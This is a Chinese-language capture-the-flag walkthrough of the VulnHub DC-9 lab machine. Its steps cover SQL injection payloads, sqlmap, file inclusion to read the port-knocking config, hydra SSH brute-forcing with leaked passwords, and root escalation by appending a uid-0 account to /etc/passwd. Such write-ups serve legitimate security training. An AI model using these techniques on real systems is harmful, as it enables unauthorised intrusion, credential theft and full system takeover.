0%

vulnhub DC-9

vulnhub DC-9

扫描

1
2
3
4
5
nmap -sP 192.168.81.0/24
192.168.81.134

nmap -sC -sV -p- 192.168.81.134
22,80端口

存在sql注入

1
2
3
4
5
http://192.168.124.10/search.php
1' or 1=1# 1' or 1=2# 测试
sqlmap.py -r a.txt --dbs

admin | 856f5de590ef37314e7c3bdf6f8a66dc 还有一堆账号和密码

https://crackstation.net/ 解密得到transorbital1

本地文件包含&&端口敲门服务&& ssh爆破

fuzz测试一下,sqlmap的data/txt下有fuzz字典

  • 关于端口敲门

如果你有一台公众可访问的服务器,黑客可以轻松扫描其IP地址,查找服务器上的开放端口(尤其是用于SSH的端口22)。将服务器隐藏起来、不让黑客看见的一种方法是使用knockd。knockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。

端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

换句话说,如果知道自定义的端口,逐个进行敲门,这样我们就能够开启SSH端口,从而进行连接,所以利用LFI来查看knock.conf文件配置,得到自定义端口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
配置文件:/etc/knockd.conf

nmap -p 7469 192.168.139.168
nmap -p 8475 192.168.139.168
nmap -p 9842 192.168.139.168
或者
knock 192.168.139.168 7469 8475 9842

- ssh爆破
hydra -L u.txt -P p.txt 192.168.139.168 ssh

[22][ssh] host: 192.168.139.168 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.139.168 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.139.168 login: janitor password: Ilovepeepee

拿到shell,信息收集

1
2
3
4
5
6
7
janitor@dc-9:/var/www/html$ cat config.php
<?php
$servername = "localhost";
$username = "dbuser";
$password = "password";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
1
2
3
4
5
6
7
8
9
ls -al

janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

发现了更多的密码,加入密码本,再次ssh爆破

1
2
3
4
5
6
7
8
9
[22][ssh] host: 192.168.139.168   login: fredf   password: B4-Tru3-001

fredf@dc-9:/opt/devstuff/dist/test$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
find / -name test.py 2>/dev/null
cat /opt/devstuff/test.py
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)

else :
f = open(sys.argv[1], "r")
output = (f.read())

f = open(sys.argv[2], "a")
f.write(output)
f.close()
#这个脚本的作用是将第一个文件的内容,写道第二个文件中去
#所有可以往/etc/passwd中写入一个具有root权限的账户
1
2
3
4
5
6
sudo ./test /tmp/test /etc/passwd

openssl passwd -1 -salt test 123456 # $1$test$at615QShYKduQlx5z9Zm7/
echo 'test:$1$test$at615QShYKduQlx5z9Zm7/:0:0::/root:/bin/bash' >> /tmp/test
sudo ./test /tmp/test /etc/passwd #写入成功,登录test用户
su test

/etc/passwd内容格式

1
2
3
4
5
6
7
8
root:x:0:0:root:/root:/bin/bash
字段1: 用户名。
字段2:密码占位符,x代表有密码,也可以直接填入密码的密文。
字段3:用户的uid,如果一个用户uid为0则表示该用户超级管理员。
字段4:用户的gid,也就是所属用户组的id。
字段5:用户信息(弃用)。
字段6:用户家目录。
字段7:用户登陆系统后使用的shell。